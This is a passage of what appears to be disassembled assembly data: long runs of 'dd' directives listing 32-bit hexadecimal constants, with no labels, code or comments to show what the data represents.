		dd 3EF16210h, 0E15EE6EEh, 22127782h, 7E362354h,	6F5CFF1Ch
		dd 8F78928Ah, 0B663280Fh, 79366E69h, 0E3C5F8D1h, 7AFB08AEh
		dd 1AAD2E03h, 601C0C5Bh, 7AE8F09Dh, 4D8A3F16h, 5AF2E527h
		dd 1ACD3796h, 67D1144Ah, 83E4684Bh, 0D3A4F2ACh,	8E3BB606h
		dd 753791C2h, 0A82BE09Ah, 9C16869Bh, 7E34E172h,	0E9F6D34Ch
		dd 0DE07A673h, 0CF0E9E2h, 0F22B3BFh, 194D0B99h,	48763356h
		dd 72EE66A0h, 9D9AEB57h, 1982BC7Ch, 0C5486D33h,	7128F3E0h
		dd 0F830DE2Fh, 5A4989CDh, 1433C860h, 8F9E019Bh,	950ADFCCh
		dd 51135E45h, 1B26E23Ch, 4A9FC1C9h, 49E46083h, 0E0F718C3h
		dd 0F080A460h, 29773D6Ch, 1531B18h, 0B9F4A749h,	4A10EABBh
		dd 3AA3498Ah, 192CC49Ch, 3B7C47BBh, 6C2488EDh, 48EA11C1h
		dd 33A11F26h, 3D0936FFh, 0F976867Ah, 93381B41h,	0EE451671h
		dd 3D167BF3h, 5280569Ah, 0F5A4524Ch, 0FF68DE34h, 0EAC2FFDAh
		dd 7F929DEAh, 0FAF35ADEh, 0ADA81B0Ah, 19B996EAh, 2FDE23D1h
		dd 358896DAh, 0C57BA16Ch, 0B9E22958h, 0A4A88861h, 0A02A8B5Fh
		dd 0B83A7FB5h, 542829E0h, 3B2EB8C5h, 37FD4E4Bh,	0F2B61EA2h
		dd 0F8156276h, 0DD30AF7Bh, 2044A564h, 0C4EB7EBFh, 94CE176Bh
		dd 0E250FB8Ch, 0BA700B6Eh, 0E276EAE9h, 2A9E43FFh, 91273B85h
		dd 0D42EB52Ah, 2B5FE808h, 0B679F0C1h, 0E566EB15h, 398694F6h
		dd 0C75AB4C0h, 3B6184F4h, 0E5ACA38Bh, 0EFDE61B3h, 0A8867C7Ch
		dd 0E877337Ah, 134BAD01h, 0F52FBB97h, 58B66B48h, 0B2CBF101h
		dd 4A902B8Dh, 0D5D0EFABh, 9FEEE787h, 0CFB9796Dh, 32E6A7D1h
		dd 0E89367B5h, 0D450BF07h, 6DD5F842h, 4C0B8D4Eh, 10F09FA3h
		dd 0C1EB3F90h, 0AD97BDB9h, 0F93E05Dh, 0F99CD519h, 0A2692D09h
		dd 1B5F87D9h, 0E3DD95E4h, 8F729D5Ch, 0D4258561h, 295C2E33h
		dd 0B924BCCAh, 0B77124Fh, 62E16CE4h, 473CDA8Ch,	55B69511h
		dd 76CE744Ah, 650D4662h, 0E4963377h, 0C365B1B9h, 9ECDA2DCh
		dd 5D5B59F1h, 0AA36913Dh, 86B79061h, 0D05CB4ECh, 41411975h
		dd 0A9431908h, 895F52CAh, 0B51C1B88h, 55FB44D3h, 0FE7BD52Ch
		dd 0EC4B4634h, 39BE7F0Fh, 4F4D3B69h, 93CA733Eh,	0AC1562D7h
		dd 0AECE8DDCh, 8C4BF69Ah, 27378C00h, 55E95695h,	0FC12F558h
		dd 86F07A02h, 7E8DA392h, 4D7431B8h, 286B3F3Ch, 5FFDCFE0h
		dd 40A889ACh, 0CA01955Ah, 8BAB565Bh, 902C1D74h,	8F4B852h
		dd 0B6913CEBh, 0F77120Dh, 1E0A643Dh, 20EB8706h,	0E94522F2h
		dd 0EB1C6CC7h, 4CBEF482h, 14DA0A4Ch, 0C96B7572h, 0D39D7779h
		dd 70FC25FDh, 1F4C0785h, 0BB0FAF0h, 0F1CF64DFh,	65F55D2Eh
		dd 2AD559DCh, 0AA5B3FECh, 8E30D620h, 0CB64D994h, 66FFD38Dh
		dd 0ADFEDD8Ch, 4D28419Eh, 1CD0BB8h, 9DB5C12Fh, 0E2952EF8h
		dd 91241BCCh, 0E763DE06h, 3D35A2E1h, 0CF8D31C5h, 6A6D02E3h
		dd 5EC5CFFBh, 0C6336322h, 0E1066963h, 0E370F6E8h, 0E4694A84h
		dd 0C6ABA65h, 23FDEA64h, 0F272B69Fh, 5248EE45h,	0AC91ECBBh
		dd 0A340BD17h, 7F5A7C29h, 3F764C37h, 0B0AC7727h, 73065FB5h
		dd 806C5A44h, 212BD603h, 8DFD6195h, 98B5ADC5h, 7E663CCFh
		dd 3CF78ECh, 0F3E1A784h, 653FCA9Ch, 1B3ECD18h, 0C2FB9B2Bh
		dd 0AF6D9DECh, 0F0DDA75Dh, 0E56D852Ah, 7770460Ch, 0ADFED06Bh
		dd 68958EC8h, 98397F79h, 0F8BDB553h, 1682A699h,	73983D98h
		dd 64BD7935h, 39AC07Fh,	690CFAE0h, 724BEBBFh, 0C53F1F66h
		dd 0A2765700h, 25BF808h, 0A82CD518h, 0AA600F73h, 523052E8h
		dd 0CB10C614h, 7BD0FBD6h, 8314010Fh, 77385F6Dh,	0D902499h
		dd 0AF18165h, 0F24CF8E5h, 24610B5Dh, 79942C81h,	207DAF8Fh
		dd 589BB01Fh, 9AF1DFDCh, 851C5833h, 0FC557983h,	0E8FAF14Bh
		dd 0B44AEF53h, 34C00C8Ch, 50F07826h, 0CD888132h, 0D95AF296h
		dd 68298E53h, 60270771h, 0E674767Ch, 0CBF7849Ah, 82581E09h
		dd 1A1577C5h, 4021ADDEh, 9618F860h, 0B3EC1B7Ch,	0AF1331FBh
		dd 29B45988h, 0E0EDC261h, 0FC706CB2h, 7C89A10Fh, 4D643BC4h
		dd 3B09D7D2h, 91EE9C4Bh, 203D31FBh, 0E76D0480h,	2B5A97D3h
		dd 76213CBBh, 5C6F168Eh, 95081126h, 34A2E2F0h, 4EBF1BF4h
		dd 0FA537AC6h, 0C3BC0B8Bh, 5D1E665Eh, 37011D91h, 0B3BF33C3h
		dd 4776C033h, 0CFFC3149h, 5B20402Bh, 0B5C7ACFAh, 235D593Ah
		dd 9C6109ADh, 0C2C8F4B4h, 3C566FBh, 8BE6F852h, 0BB030A7Ah
		dd 1735605Dh, 33015200h, 9473892h, 0E96ED293h, 91C51133h
		dd 0DCCEF9ECh, 2B8D8FC4h, 3539A564h, 8A13B58Bh,	0E560B7D4h
		dd 3E393940h, 0EA52B9F0h, 0E2E61BE7h, 0CD063064h, 0D7BF745h
		dd 0B64F1D87h, 4B395EB0h, 5A89CE5Dh, 5374D58Dh,	8D2D3ECh
		dd 0F3252058h, 8BF8C358h, 0A33ACC3Ch, 0E1514260h, 16F29BACh
		dd 9BD8F55Bh, 75CBE916h, 0F7F12E2Fh, 0D24B4119h, 5AD6E3Ah
		dd 415E724Fh, 0F00C1567h, 0CE2AC88Ah, 0A59BBC08h, 79C15EAEh
		dd 45BA0B65h, 3FDE7146h, 106FCDEBh, 22CE5D0Bh, 0C733C899h
		dd 9494B0C1h, 0A434B852h, 0C91B2D27h, 0C9E83302h, 5ACC5F96h
		dd 5194DE56h, 912625AAh, 0B559D6B1h, 4DD36Ah, 0DCD17131h
		dd 0EA0AF720h, 75992845h, 18A885FDh, 0AB0D6495h, 129C1E03h
		dd 0F244586Dh, 9FC6AF97h, 0BD2D2E36h, 0CE9E48E7h, 0B55502F5h
		dd 0F9DD1E0Ch, 0B9D1DDABh, 0FB63AA8h, 0F3A0702Dh, 59EB08DAh
		dd 223F435Bh, 7D759C99h, 23A0127Ch, 13BC820Ah, 7139B3h
		dd 240BC320h, 23656B77h, 48D85421h, 54B9E656h, 1FFF7E63h
		dd 7B6A33CAh, 0D3974250h, 0B7100824h, 0CC6F45D6h, 1B532FAh
		dd 3C2AD976h, 183E28C4h, 4DD19B00h, 61618336h, 994C9C8Ch
		dd 426B5B0Dh, 0FAF5F352h, 7D49C831h, 941CF0CDh,	67A7FDA0h
		dd 50BD88C7h, 0D10407B9h, 63CD4B2Eh, 2CAD689Fh,	0A8F15BCEh
		dd 37614A9Ah, 0C8B295B5h, 79540A42h, 8F3A68ADh,	0E640E116h
		dd 9E6DA4BFh, 84D35F6Eh, 6B34A60h, 27B0D6EEh, 12AFC312h
		dd 3AEC5E1Ah, 378B7130h, 2C19CD73h, 0F564CC72h,	12AD040Eh
		dd 0E02ADA40h, 0D819E211h, 0BE750358h, 4B3577F0h, 8812ACC6h
		dd 285DAD0Bh, 22005BC4h, 1AA7120Fh, 0DBEE746h, 0F2EDD209h
		dd 0C20FBCA2h, 0F605850Ch, 0ED6F938Eh, 0F5EF0FE0h, 0BEA9A794h
		dd 42647122h, 7321FFF0h, 64E2E186h, 0D18A76EEh,	846FB9A6h
		dd 0CA12E994h, 745D35F3h, 692D4080h, 4DD75778h,	0D22CA885h
		dd 85C51675h, 1F7E435h,	89AB6D6h, 20730DD7h, 0D3716B0Fh
		dd 0E81DECDDh, 5A9D66D6h, 0C2F08E4Ch, 0D79A5CC9h, 0A2F0A9C4h
		dd 0C037F1D9h, 0AC30E50Ah, 27CEF66Fh, 74D84CE6h, 6D6FD19Bh
		dd 9312317Ch, 8337919Dh, 386ABA8Bh, 8F6FC42Ah, 6C1B8701h
		dd 8773C886h, 71CD7E80h, 4905BA77h, 0CA3D4D5Dh,	5B8BF943h
		dd 4354B1FAh, 0D8EBD4B7h, 0E4FFDADFh, 0C5BA5BD9h, 5EF85A71h
		dd 0FD12413Fh, 346BF52Bh
		dd 87CBAC30h, 62C408AAh, 8F655C86h, 87270861h, 6A32C4F4h
		dd 18B4E357h, 7DAFA708h, 72DE0BFCh, 1FC03B9Ah, 0EC176100h
		dd 948CF44Eh, 1F9A9591h, 0FBE9D212h, 2F8EE914h,	0F1B6F15h
		dd 70753E3Bh, 951196EFh, 0DA86EDCCh, 55D2B9EAh,	1FF15805h
		dd 2E6782E4h, 0FC1B11CEh, 0B97CF507h, 0FF87B508h, 0FEEB486Bh
		dd 0B2FE4290h, 7D2C126Fh, 9B6499DCh, 45BC5245h,	9315BC15h
		dd 78F9663h, 0A0D63922h, 67CF6FFFh, 143D0C10h, 14ADB4C7h
		dd 0E9C21135h, 0F88875F2h, 69518C37h, 0AB9C7C9Fh, 0CB0815EEh
		dd 0CA6C4390h, 0BAAECFA3h, 2CB23127h, 0EA0DDABFh, 0F922ACD6h
		dd 0B8BC6B3h, 454888DBh, 1EFB81F5h, 0E85C8472h,	19A7F2C4h
		dd 0AA8D39CAh, 5A31329h, 2D5B6DDEh, 2F092E62h, 0EE10DE94h
		dd 0CC3CE8A4h, 99DC89DDh, 0D393C6C9h, 9F14E335h, 25E388F0h
		dd 236FE9B9h, 2B87C464h, 251FA689h, 257E6D28h, 74879E74h
		dd 1FD5A304h, 0A0F63A19h, 1F814E4Ch, 219A8EC4h,	4F6E9616h
		dd 552E90B8h, 0B3BC2D7Fh, 8849683Ch, 0C51F7F85h, 293F0C23h
		dd 44FD56B4h, 57371F4Ch, 0BD0F739Bh, 0B1A2A6CAh, 0E7CCC8DBh
		dd 22FCAEBCh, 31C9B12Bh, 0CD22B1EDh, 3B22B35Ah,	63077F5Ch
		dd 0D430596Ah, 5CA8CAC3h, 0C4B291EAh, 0EDA90AEEh, 0C4560EFBh
		dd 4B28136Ah, 27B56099h, 27544FCAh, 1B329416h, 35081481h
		dd 0E6F966BFh, 990606EAh, 0E32C4283h, 9DD4EB0h,	0A54667A7h
		dd 0AEB9FEE7h, 0F11B5F7Dh, 7ADCBD18h, 0E84F2BDBh, 62BF1454h
		dd 687E9824h, 6EA0C4Ch,	0C653CA97h, 8E11C4B4h, 72D34C49h
		dd 461EEF04h, 0E1BBEDFDh, 0CFD18DC0h, 3F5B69C3h, 98262A50h
		dd 23C78177h, 0FA03CA7Dh, 3C8D1113h, 0ACE85569h, 0BAFEA14Eh
		dd 0B7874120h, 5C4FECC2h, 83D3C8DCh, 70A50F34h,	7C12D3A6h
		dd 8628CEA1h, 961E885Ah, 54295BB6h, 9A2E529Bh, 0BF2BCBDDh
		dd 0B5D6B666h, 90F4591Bh, 1DB95B6Fh, 0EF48293Dh, 163765CAh
		dd 0EE444485h, 21DA7BCFh, 0F9E8F279h, 14CB43B4h, 3DD99CC2h
		dd 5DB5C1A9h, 96958856h, 6B5D3BAh, 36768934h, 0A415C590h
		dd 5199D9BAh, 3ED1D111h, 505DF22Bh, 0C155B55Ch,	4226E6Fh
		dd 6C677971h, 0A25BD17Fh, 5EFF2034h, 0F5F692ACh, 2976C2DFh
		dd 0A672289Fh, 2D4AB17h, 30136C18h, 6E8B57BBh, 453C96C6h
		dd 0D63D00BBh, 0F8C581CBh, 72BC947Eh, 0AB2861A2h, 3577C1EEh
		dd 783F41A2h, 7AAA4521h, 0E9C8F334h, 0EC809F0h,	848DE107h
		dd 0C3AD5D2Eh, 71EA574Dh, 87C44005h, 7B0FAE6h, 0B621B68Dh
		dd 81B3C4C6h, 5921F532h, 0A4C650A4h, 4F6C9864h,	3B5B7FFEh
		dd 998B92D5h, 5301848Ch, 4B5D40B5h, 0F33C1D61h,	0C231D540h
		dd 0A921FCE7h, 0A21EE8F0h, 1A6EF27Ah, 0BEF89634h, 4261F42Fh
		dd 0D89D881Dh, 536C90CCh, 9F847h, 0E257DE12h, 76286908h
		dd 0DCC6A071h, 0ACEB284Ch, 0B38F2648h, 224BEF32h, 0B44B58DDh
		dd 546EB81Eh, 665105B1h, 0D545B552h, 0A1557E81h, 41FB387Dh
		dd 75800837h, 0E72F8916h, 40DF53FCh, 4ED8C17Ah,	0E4D1E509h
		dd 0DAE214AAh, 317FCA18h, 7F0D8FD4h, 674FAD35h,	382ED454h
		dd 98320B1Ch, 433309A9h, 0CDA333FCh, 56FD21Eh, 5C000F69h
		dd 0E5FCA593h, 0E87BC1E3h, 4BFE2E82h, 0B308C1EBh, 46BC671Ch
		dd 13AFEC8Fh, 82ECA49Ch, 7C710B8Dh, 0D323442Ch,	48A0702Ch
		dd 26CC4E73h, 0F25AF70Ah, 5E5C7316h, 7920A138h,	0A217AC34h
		dd 6B09DE23h, 32119795h, 0B4E23446h, 0A2F84765h, 0AC5374F0h
		dd 0E6B4FFA6h, 7FB396CAh, 4125A3BAh, 0BD044901h, 0F8EB1AA1h
		dd 0F8D040ACh, 0C4892665h, 8558C955h, 0D8858B3h, 92D488CCh
		dd 0A1387AD1h, 9F58F034h, 5AE93AE6h, 4DF01FE8h,	91BCB022h
		dd 76B5AD39h, 0BC9D9051h, 6778CAA0h, 2772F4A2h,	0A260CBA2h
		dd 4855BDC1h, 3CF9726Bh, 6D9CEF5h, 5DD68214h, 0AFA7ACE5h
		dd 568207A6h, 49AC6475h, 0BB707133h, 0DBEC3DF8h, 0A2614324h
		dd 0C917320Ah, 0DAA6B2C0h, 911CC7E9h, 2A7970FFh, 2569FCA9h
		dd 0C20D90Fh, 0B0B0BFA4h, 310C74E7h, 7DBF566Fh,	21170D44h
		dd 85B6C217h, 3012676Eh, 0F9747EA3h, 0B65AAED4h, 4567C464h
		dd 0EA117158h, 71535AF3h, 0A5BA5B55h, 5404EE25h, 0D19D7F29h
		dd 44A9118Ch, 0C283E210h, 0F856C608h, 0EA2A441Ah, 1983D9C5h
		dd 0D2423D27h, 3B5A19A2h, 8982A690h, 0A606A2DAh, 150B151Dh
		dd 2D568368h, 700D8E5h,	0BE6C118Ch, 8C752991h, 6714C644h
		dd 9357E95Dh, 1CF4FEA8h, 94916D67h, 3998A2E7h, 5784235h
		dd 0B52A4747h, 0B69A14F0h, 8B620CF9h, 69912924h, 0B50E492Eh
		dd 9365B428h, 0B79BA06Ch, 0BB45EB6Ch, 0ACFB94EEh, 475C8650h
		dd 27A59DA3h, 8072BD7h,	0A24580E0h, 1A8BC3CFh, 0C9AF69EAh
		dd 0B1D90819h, 45B562D1h, 0B9A218ADh, 0A343BC4Ah, 0D0D809AFh
		dd 0B5035C5Ch, 29965277h, 3364560Ch, 84E47FC9h,	104204C6h
		dd 0A41D4261h, 0F8763482h, 0E606042Ch, 1AFA0512h, 26ABA443h
		dd 145EA9F9h, 0DFB58E00h, 66E79D0Ah, 56B3F69h, 93A55EDCh
		dd 85945C76h, 0A806481Fh, 9446E41h, 6FB3315Dh, 283FDED4h
		dd 0D68DB830h, 0F7C88F48h, 6B2AF899h, 0BB4BC2FBh, 35F04C9h
		dd 2029C2FCh, 925C2582h, 90E9B1F6h, 8FAB9F7h, 0A44549CBh
		dd 39DFCB2Ah, 283757C8h, 550DA077h, 85825D63h, 97FF7E9Dh
		dd 0AF56FE43h, 43456435h, 8F98789Eh, 0D96C7B6Dh, 2C92C1DBh
		dd 3D8D213Ah, 0E163FD27h, 0E9F551CBh, 332D56E6h, 23016B2h
		dd 35A036CAh, 78C180FEh, 0A7A4AAEAh, 68C0058Fh,	0F8F7CD93h
		dd 38F4ECA9h, 0F2967397h, 42B760BCh, 2388F852h,	5DFE00CDh
		dd 0FA8CDEC6h, 0D6230662h, 0B69CFB49h, 22AEE810h, 0EA4BDEC4h
		dd 0ECA42010h, 2A24ECD7h, 1E648DE9h, 427F8054h,	7C0F20A0h
		dd 0B6210104h, 0A9FA3F44h, 0C30EB16Bh, 0FD2CD255h, 0EC0CB141h
		dd 370F4D46h, 0E0D0BC90h, 0CECD14D6h, 5CF7A625h, 0E4EA0AE6h
		dd 31960B88h, 0B6E0E696h, 0EE8FEFDEh, 0A7501C43h, 0BA746EADh
		dd 0C8985353h, 5708C605h, 0C2396447h, 47B025B3h, 0AF128E19h
		dd 0E51604FAh, 0AAC23A7Bh, 0FBF3C253h, 0B8C620B1h, 22C37F45h
		dd 5745927Bh, 0C13FF60Ah, 442CAA00h, 70C1DFCFh,	5243A658h
		dd 6759D951h, 0AC734A95h, 9E569415h, 0B3268920h, 80BC75CEh
		dd 0C563AA1Fh, 839DCC5h, 4906F6F4h, 13493515h, 7AB8E623h
		dd 4E2B293h, 526173F2h,	0D9948BDFh, 67E2AABDh, 0A79DFEEBh
		dd 5FA1381Fh, 0EF999B1h, 0F6C661FEh, 0D2EFC706h, 1D27912h
		dd 0DA545D38h, 825D2DA9h, 59B6A0E4h, 93488CB9h,	0BBD6D5BAh
		dd 6DF4D23Ch, 0B0031AA8h, 0F9C0CCCBh, 0D5356048h, 8A7487CCh
		dd 0C6BF8B2h, 0E22AF648h, 233592DDh, 85EE8AC6h,	344ACBD0h
		dd 0C6A60120h, 7243AB85h, 0A9E5222h, 999DD80Bh,	614F3299h
		dd 41F09CA3h, 143F6019h, 0F3EAAF77h, 5A90C1Ah, 0E172031Fh
		dd 0C9BF5613h, 0DCFCC784h, 0A2E7A690h, 0FE8C9C01h, 0D7DB75C0h
		dd 55BF7D4Ah, 0CAC9D092h, 0A61BFB15h, 0A436436h, 98F113F9h
		dd 5A18139Ah, 51836E7Ah, 1A10F0D2h, 40CC052Ah, 0F3B9E50Fh
		dd 0AECFD3E2h, 3571A123h, 36C2DD81h, 0FEFC9A44h, 750E7B60h
		dd 0B3F4543Bh, 0E6C3CBF6h, 2D70D4Ah, 6EFD2FFBh,	0A46420AFh
		dd 0A64BF1F1h, 38DD409Fh, 0B17EEDF5h, 0F105B8C0h, 88CCE593h
		dd 510B23BDh, 0DF1E882Ah, 2C74DE56h, 2A779B4Ah,	62C72E7Ah
		dd 73CC100h, 0F5328B64h, 6CCE858Ch, 72A74C70h, 47EB9FDEh
		dd 0C4D31217h, 0C01AA07Ah
		dd 70F8E056h, 95A3313Dh, 352D8E5Fh, 6760A262h, 0AC4B89D4h
		dd 0B634F27Eh, 70FD52F4h, 0A57B3D85h, 52776408h, 4517224Bh
		dd 4EF80662h, 0D102AC24h, 4BC617C9h, 8C42DEAAh,	0D9BBB301h
		dd 0A7326F1Dh, 0A065232Bh, 7AC410A9h, 876203F8h, 42F86E2Fh
		dd 0B5DC94EBh, 37FDE1FEh, 46A84F0Ch, 0D69C8306h, 0FC3F707Bh
		dd 0C188E663h, 6347848Bh, 65313AB5h, 1A393CA1h,	2ED411F1h
		dd 8AD82208h, 0F8BB631Fh, 32C62BDEh, 0C17FEAC8h, 4C10D1CEh
		dd 7C16EEF8h, 71A57358h, 0B1B5D5AAh, 0FE22B7Fh,	0CB28CA1Eh
		dd 2A5C192Ah, 0BB1E5792h, 0AC4C0CEAh, 0D0CFAA51h, 3E48D1F5h
		dd 4DC5FF11h, 0FA6CC00Fh, 2F721361h, 17C1A9A0h,	0B8F6AA0Eh
		dd 8600B18Dh, 102467D7h, 0F63E8A5Bh, 0B013477Fh, 0A1BAD6E8h
		dd 886F6B81h, 21CFBBCFh, 0D52FD428h, 2EBAC7D0h,	789898Ch
		dd 0A6E8DB55h, 72DB1249h, 68EEA62Ch, 239AAC52h,	0E2A57056h
		dd 0B4ECA62Eh, 39746136h, 0B37C0CDBh, 667AE000h, 36A83AE3h
		dd 2A37BD0Ch, 87359C61h, 51DD8145h, 0BCBD923Fh,	0DC439741h
		dd 0D33DE5C6h, 9E42E102h, 850F04FAh, 7A2E598Bh,	0C6211A4Bh
		dd 1B17DA2h, 0FBF61B3Ah, 0E526D0C4h, 0CCC77EF1h, 1F3919C5h
		dd 8EEB2614h, 0DE0CC262h, 4CB7CB3Dh, 7FB5791h, 7D690A0Ah
		dd 7BBA2E69h, 7AD5AC7Eh, 371734BDh, 2E214C27h, 0D8AE4060h
		dd 185F87E5h, 50915348h, 0BA740F50h, 28087432h,	2256A41Ah
		dd 0DF00264Ah, 0E5337A8h, 6280FA01h, 93756943h,	0D3448216h
		dd 0EA5463F3h, 857D8B12h, 0D0B41B9Ah, 94078777h, 130816F8h
		dd 9069101Fh, 6F178732h, 0CFEEB7F6h, 670E2E5Ah,	999D13F7h
		dd 0D9B6FF20h, 1E2B23E0h, 0D223C0DCh, 0CECC4C48h, 0A17F27Ah
		dd 0D73142Dh, 0CEAFF150h, 0EE233052h, 0F2B0C69Ch, 0D70327E3h
		dd 0E462C425h, 0C7EB7B13h, 0FCA937F5h, 0C4BE6285h, 0F6F5A27Bh
		dd 956656AFh, 8D7954B7h, 993FF6BDh, 0AC65DDA6h,	5C7AD592h
		dd 0CCFDFD03h, 883BCB06h, 2AE35EDEh, 46E8EF8Fh,	29ABB1A0h
		dd 0B76DBA78h, 29D9C862h, 36A33C45h, 559B1165h,	4F56482Bh
		dd 0BEC66E7Fh, 897EB2A4h, 795F2DA5h, 0DF80E557h, 46E6EF3Ch
		dd 7F41952h, 4F2BC847h,	78C7AF3Fh, 0F3704EA9h, 523A3BF1h
		dd 5942EBB8h, 4F8BCD01h, 0CA930A60h, 0A29158BCh, 0EA362C5Fh
		dd 5536141h, 0D7976EFCh, 0A11B4E10h, 58C52313h,	0A2A3BBD7h
		dd 5F202194h, 0A5269B1Fh, 413F8768h, 0CCEB2C7Bh, 34868E51h
		dd 0A68F49B3h, 901E03F1h, 0AD55507Dh, 0C28901CBh, 9E411C14h
		dd 3B340083h, 0EC92E046h, 0E598E400h, 0A6D0B351h, 0E4B50F8Fh
		dd 0BFA1D526h, 3D27E647h, 0B318F439h, 0A1B73FF5h, 814B4455h
		dd 89B5EDC6h, 597B5D1Eh, 0F2111605h, 8A66F9AAh,	0FDD26717h
		dd 5BB447Eh, 36CB6272h,	10F8E844h, 48FB0CE9h, 6B15A9D9h
		dd 4607DB84h, 0E848D62Dh, 1E2A2922h, 0C7771BE2h, 0D43E59CCh
		dd 8553D3ABh, 0DAE30CB9h, 4AC71ADh, 15D75714h, 0B5BC2DBh
		dd 9A7DFA94h, 0B0E837Ah, 0D9B0F752h, 5665A089h,	440DE9DDh
		dd 0BE2AE942h, 0A393C56Ah, 5684A4FAh, 0F9BFF537h, 0C52A627Fh
		dd 6483B9C0h, 0AF025607h, 0F6553274h, 2470F8C5h, 71844689h
		dd 0C9C3F8Bh, 0D81AC500h, 0F1BA63A4h, 0DF91D0DAh, 0B3CB1E84h
		dd 0F54376Dh, 553CCE96h, 5707AE2Ch, 289EE0CDh, 539936B9h
		dd 0E0B5B31Ch, 36B8DD1Ah, 13A04BD6h, 4C2BB4FFh,	33C3A164h
		dd 0C7C61FBBh, 0E8BD0510h, 68AEA5ACh, 70FC021Ah, 457783Ch
		dd 65897BC3h, 2232F41Fh, 8993A8A4h, 0DD2BADE3h,	0D27DE750h
		dd 93E2CEE2h, 7544A694h, 12C2C74Dh, 0B9423D37h,	0F5A29A18h
		dd 4CDC7319h, 3E95A1A3h, 0F2645E5h, 0DD050F5Dh,	143E87D2h
		dd 9A2BB12Bh, 0E304EC75h, 3210216Ah, 59338C70h,	0A04FEDCDh
		dd 1F877FB1h, 632E44h, 0A3AB6347h, 6A043B61h, 2DC04D78h
		dd 0C24A55B6h, 5A7E963Dh, 0D08B98Eh, 0CE53675h,	95253BE8h
		dd 0B1C14E09h, 0F207C786h, 0F564794Eh, 9F1A09FDh, 0EF8CDD72h
		dd 615C4EE8h, 0A8C64534h, 0C4D566D6h, 38FD596h,	3C554B33h
		dd 380E4C23h, 84B5BFCFh, 0EA2C1401h, 0C651685Dh, 0F85C2D48h
		dd 29ACAEBEh, 40F4770Bh, 0A69F8ECEh, 0CEA157C4h, 1A48F9F3h
		dd 0DE81708Ch, 0DB61C4DFh, 2473629Ah, 0D9B503C9h, 0CAD1F454h
		dd 0AFEEC4EBh, 0AE977168h, 0E81C7752h, 18DC5E2Ch, 0B7333D0Bh
		dd 2D4F3C3h, 63FAAB07h,	0BF69AB08h, 7B7572ACh, 0E5ACF8D5h
		dd 67CBFD1Ch, 88ACDE08h, 73E88676h, 3D4B7C0Eh, 7B402129h
		dd 7100A2C5h, 0B4079084h, 5451DEBEh, 96673125h,	9676F55Fh
		dd 7A1261DEh, 0E06E2D3Ch, 0A73562E1h, 3F3586A3h, 0E14E6A5Fh
		dd 6A8CD575h, 3773CA5Ch, 0AF9F53CCh, 0F9B05A52h, 242FFE20h
		dd 6729FCA6h, 583DF6E4h, 508DB947h, 0F8A2B769h,	8E5E6EFDh
		dd 73EFA08Dh, 0A2ADCB88h, 70D64AA0h, 9E07651Eh,	5692062Ah
		dd 6BAD4C18h, 7BCA6E40h, 20D750BCh, 26005C40h, 7D0883BEh
		dd 790AEB7Bh, 8D658DE1h, 0DA1226B8h, 0B27035B6h, 0D1FAFF87h
		dd 0FDB0D72Dh, 2869CA20h, 444B8742h, 0E6E3E7DEh, 7534174Dh
		dd 0FEC28FAAh, 80266997h, 2DE8319h, 0E5AF9C22h,	300B55D3h
		dd 85992056h, 1DC2973Bh, 394F0433h, 0CC3452D8h,	40D9D3Ah
		dd 0FC97BC59h, 9AE5677Bh, 3A8E41ACh, 0C97DEDE9h, 9DBBC05Fh
		dd 703475EEh, 0CB8104DAh, 0BF5E603Fh, 0ECFA15AAh, 0B02638C3h
		dd 4F1F90A4h, 31FDAF34h, 13FD7DFDh, 0EFD3531h, 7A8417D4h
		dd 3C36C8EAh, 0F9276A07h, 59F008F6h, 2A394ED1h,	99F68F7h
		dd 0A623BAh, 62263813h,	0E67872B1h, 0E1958A95h,	7F656A5Ch
		dd 0DB511FF0h, 0A863EEFDh, 0F784A48Eh, 0E6306DE7h, 2D94354Ah
		dd 1B2B29F7h, 815F54CDh, 0FB161563h, 66174B7Ah,	15A66CD9h
		dd 77E1EC97h, 6E3047E4h, 2276A9C6h, 2C403ACCh, 0C027383Dh
		dd 0B548DC98h, 9E089164h, 3B2C061Dh, 0F8EFD4C8h, 0CA329EDAh
		dd 5CA26DB4h, 0A8542C5Eh, 0BE13DD14h, 248EAC89h, 0D5ACC453h
		dd 2AF8D4C4h, 0EE2FA420h, 4B40256Ah, 0DA131CD6h, 93BBA45Ah
		dd 1017B8FAh, 0C6A46933h, 8442C85Ah, 9757C5B6h,	0FC6E5D0Ah
		dd 93AB774Ah, 0A6AB7C08h, 6550037Fh, 70E670D0h,	6DFA429h
		dd 9A2E519Bh, 0E91088FBh, 0F7F38E41h, 0EC55133Ch, 0F64798E5h
		dd 50EE0FE0h, 31C9D81Eh, 0FE05F565h, 3DB04E1Ah,	2533AB48h
		dd 8B0DCEC8h, 904427ACh, 0E724B0EDh, 0F6E837Fh,	0B4193669h
		dd 8C994D34h, 3EBB07A7h, 88052C82h, 299003Eh, 25B8473Eh
		dd 0C859C44Fh, 532B4BFBh, 9666489Fh, 349F43A7h,	2826F729h
		dd 0A47CE788h, 3A690A1Ch, 1D00BED4h, 0DA100EBEh, 154138D9h
		dd 0BEFCC3DAh, 5D9475E2h, 209C0B29h, 689D5975h,	68E2369Bh
		dd 6DD8CD68h, 0F1EB272Fh, 77796F88h, 3BAE82F1h,	62BA618Eh
		dd 345C5402h, 167D34FEh, 32A65784h, 0FBE4C105h,	0B34666A3h
		dd 7F220480h, 32B480F4h, 0C9450EA1h, 0AF8F107Ah, 0BAE1755Ah
		dd 0D785310Eh, 0C3AA96Ch, 0A94028ACh, 0E71DC3E5h, 0A8DC39FDh
		dd 8D4CA92Bh, 0CBDF6358h, 99F1F06Fh, 77B149DFh,	895C36h
		dd 0E1021B4Dh, 2AEAC4BAh, 315AA7BCh, 12C1F1A3h,	0D2A0BCF8h
		dd 0C0C206DEh, 8ECBD74Fh, 91CECA82h, 0E7CF767Ah, 0B322367h
		dd 6B693A27h, 0B975790Ah, 2A82B467h, 0D2D3953Ch, 758E8094h
		dd 6043A6EAh, 0D77DAE52h, 53041EA9h, 87EB7C9Ch,	1323E1CBh
		dd 0BD85FF69h, 0CB95FA31h, 44E20C86h, 2ACFCAA4h, 1380BD10h
		dd 0BEA1842Bh, 0A69F896Bh
		dd 0CE544A93h, 2E483F3Ch, 0DEAD54FAh, 8AB9AEE5h, 44BEB3C3h
		dd 0FDB4006h, 0FA28E89Fh, 2955CA61h, 86BF7221h,	0B61BBE87h
		dd 23C7DBBDh, 0DC5368ECh, 22180325h, 51816825h,	0BE99DDF8h
		dd 2DADDF2Fh, 49B748B5h, 0D80C0B7Ch, 8B5DAAC6h,	91AD9662h
		dd 0D5CADBFFh, 0DDD408F7h, 92EE371Ah, 0AB47A441h, 8B30A8A4h
